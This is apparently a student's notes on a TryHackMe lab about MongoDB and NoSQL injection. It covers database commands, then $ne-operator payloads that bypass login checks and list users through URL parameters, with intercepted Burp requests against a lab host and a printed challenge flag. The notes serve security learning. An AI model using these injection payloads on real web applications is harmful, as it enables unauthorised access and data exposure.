Day 7 : Migration without Security

Notes taken from Day 7 TryHackMe challenge under Web Exploitation : Migration without security

Intro to NoSQL

  • non-relational database, usually used for big data or IoT devices

  • Fast queries, ease of use, scalability and flexible data structure

  • This challenge covers : NoSQL intro, enumeration and exploitation

  • Examples --> MongoDB, RavenDB

- Structure of NoSQL

MongoDB consists of databases, tables, fields but with different names where

  • Collections are similar to tables or views in MySQL and MSSQL.

  • Documents are similar to rows or records in MySQL and MSSQL.

  • Fields are similar to columns in MySQL and MSSQL.

The following graph shows a visual example of these terms as we have a database named AoC3 that has two collections: users, roles. The users collection has two documents (2 records). Documents in MongoDB are objects stored in a format called BSON, which supports JSON data types for document storing.

Also, it is useful to briefly look at and compare the query operators between MongoDB and MySQL:

  • $and equivalent to AND in MySQL

  • $or equivalent to OR in MySQL

  • $eq equivalent to = in MySQL

- MongoDB Commands

// Show command - list databases
> show databases
admin     0.000GB
config    0.000GB
local     0.000GB

// use command - connect to a database if it exists, creates one if it does not     
> use AoC3
switched to db AoC3

// db.createCollection() - create collections (tables in MySQL)
> db.createCollection("users")
{ "ok" : 1 }
> db.createCollection("roles")
{ "ok" : 1 }

// db.getCollectionNames(); - show all available collections in database
> db.getCollectionNames();
[ "roles", "users" ]

// create 2 document in "users" collection and insert data - dictionary
> db.users.insert({id:"1", username: "admin", email: "admin@thm.labs", password: "idk2021!"})
WriteResult({ "nInserted" : 1 })
> db.users.insert({id:"2", username: "user", email: "user@thm.labs", password: "password1!"})
WriteResult({ "nInserted" : 1 })
>

// show available documents within the collection using db.users.find() 
> db.users.find()
{ "_id" : ObjectId("6183dc871ebe3f0c4b779a31"), "id" : "1", "username" : "admin", "email" : "admin@thm.labs", "password" : "idk2021!" }
{ "_id" : ObjectId("6183dc911ebe3f0c4b779a32"), "id" : "2", "username" : "user", "email" : "user@thm.labs", "password" : "password1!" }         
// note that the unique object id is automatically create by MongoDB

// Update document using db.<collection>.update()
> db.users.update({id:"2"}, {$set: {username: "tryhackme"}});
WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })

> db.users.find()
{ "_id" : ObjectId("6183dc871ebe3f0c4b779a31"), "id" : "1", "username" : "admin", "email" : "admin@thm.labs", "password" : "idk2021!" }
{ "_id" : ObjectId("6183dc911ebe3f0c4b779a32"), "id" : "2", "username" : "tryhackme", "email" : "user@thm.labs", "password" : "password1!" }  

//remove document using db.collections.remove()
> db.users.remove({'id':'2'})
WriteResult({ "nRemoved" : 1 })

> db.users.find()
{ "_id" : ObjectId("6183dc871ebe3f0c4b779a31"), "id" : "1", "username" : "admin", "email" : "admin@thm.labs", "password" : "idk2021!" }

// db.users.drop()
> db.users.drop()
true
                    

NoSQL injection happens by sending queries via untrusted and unfiltered web application input, which leads to leaked unauthorized information. In addition, the attacker can use the NoSQL injection to perform various operations such as modifying data, escalating privileges, DoS attacks, and others.

- Bypass Login Pages

  • connect to database and look for certain password and username, if they exist in the collection in the database, we have a valid entry

  • commonly used json Query on login pages:

    • db.users.find({query})

    • db.users.findOne(query)

    functions where the query is JSON data that's send via the application: {"username": "admin", "password":"adminpass"}. Note that when we provide the correct credentials, a document returns, while a null reply is received when providing the wrong credentials when nothing matches!

> db.users.findOne({username: "admin", password: "adminpass"})
{
        "_id" : ObjectId("6183ef6292dea43d75f0c820"),
        "id" : "1",
        "username" : "admin",
        "email" : "admin@thm.labs",
        "password" : "adminpass"
}
// using the wrong credentials
> db.users.findOne({username: "admin", password: "adminpax"})
null

- Operators

Before exploiting the NoSQL injection, there are MongoDB operators that we need to be familiar with that are heavily used in the injections, which are:

$eq - matches records that equal to a certain value

$ne - matches records that are not equal to a certain value

$gt - matches records that are greater than a certain value.

$where - matches records based on Javascript condition

$exists - matches records that have a certain field

$regex - matches records that satisfy certain regular expressions.

Example Login Query

> db.users.findOne({username: "admin", password: {"$ne":"xyz"}})
{
        "_id" : ObjectId("6183ef6292dea43d75f0c820"),
        "id" : "1",
        "username" : "admin",
        "email" : "admin@thm.labs",
        "password" : "adminpass"
}

//LOGIC
We are telling MongoDB to find a document (user) with a username equal
to admin and his password is not equal to xyz, which turns this statement
to TRUE because the admin's password is not xyz.

Since the logic is true, we successfully retrieve the document. Apply this concept against the login pages.

Now to login as another user who is not admin :

> db.users.findOne({username:{"$ne":"admin"},password:{"$ne":"xyz"}})
{
        "_id" : ObjectId("6183ef5b92dea43d75f0c81f"),
        "id" : "2",
        "username" : "user",
        "email" : "user@thm.labs",
        "password" : "password1!"
}
//we are telling MongoDB to find a document that its username is not equal 
// to admin and its password is not equal to xyz, which returns the statement as true.        

- Exploiting NoSQL Injection

  • find entry point that's not sanitized

  • understand how the web app passes the requests to the database

  • Interacting with MongoDb via GET or POST requests is by injecting an array of the MongoDb operator to match the JSON objection to match the Key:Value

http://example.thm.labs/search?username=admin&role[$ne]=user

Above shows an injection where we looking for username = admin and the role IS NOT user

Let's see the normal case where we search for username is equal ben with the user role.

  http://example.thm.labs/search?username=ben&role=user

Now we will try to list all usernames that have a user role!

  http://example.thm.labs/search?username[$ne]=ben&role=user

TryHackMe Tasks

- Task 1 : Navigate the MongoDB database to retrieve flag

> db.users.find()
> db.getCollectionNames()
[ "flagColl" ]
> db.getCollection("flagColl")
flagdb.flagColl
> db.flagColl.find()
{ "_id" : ObjectId("618806af0afbc09bdf42bd6a"), "flag" : "THM{8814a5e6662a9763f7df23ee59d944f9}" }
> 

- Task 2 : Bypass login pages on web app to retrieve flag

Use the knowledge given in AoC3 day 4 to setup and run Burp Suite proxy to intercept the HTTP request for the login page. Then modify the POST parameter.

Using POST Request, alter [$ne] in :

- Task 3 : Find the flag via in login admin access search form

Use BURP

  • search for any user on search form

  • intercept, alter role=guest and username[$ne]=admin

//ORIGINAL BURP
GET /search?username=admin&role=user HTTP/1.1
Host: 10.10.25.61
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.10.25.61/search?username=admin&role=user
Cookie: connect.sid=s%3Az1DPuLGo2whAIGPNum5bK_5pm3AfJUcw.4C3y0KHxT5qIikp1MDFNPjiPbhleOPvSq4zuClBHsTE
Upgrade-Insecure-Requests: 1
If-None-Match: W/"682-ZFf4s31G2NciRENI51qh2JvNLfg"

//NEW HEADER
GET /search?username[$ne]=admin&role=guest HTTP/1.1

Results :

- Task 4 : Find mcskidy details

We prove that mcskidy is not a user by searching on the database, which returns no user

//ORIGINAL BURP SUITE
GET /search?username=mcskidy&role=user HTTP/1.1
Host: 10.10.25.61
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.10.25.61/search?username=mcskidy&role=user
Cookie: connect.sid=s%3Az1DPuLGo2whAIGPNum5bK_5pm3AfJUcw.4C3y0KHxT5qIikp1MDFNPjiPbhleOPvSq4zuClBHsTE
Upgrade-Insecure-Requests: 1
If-None-Match: W/"682-ZFf4s31G2NciRENI51qh2JvNLfg"

Last updated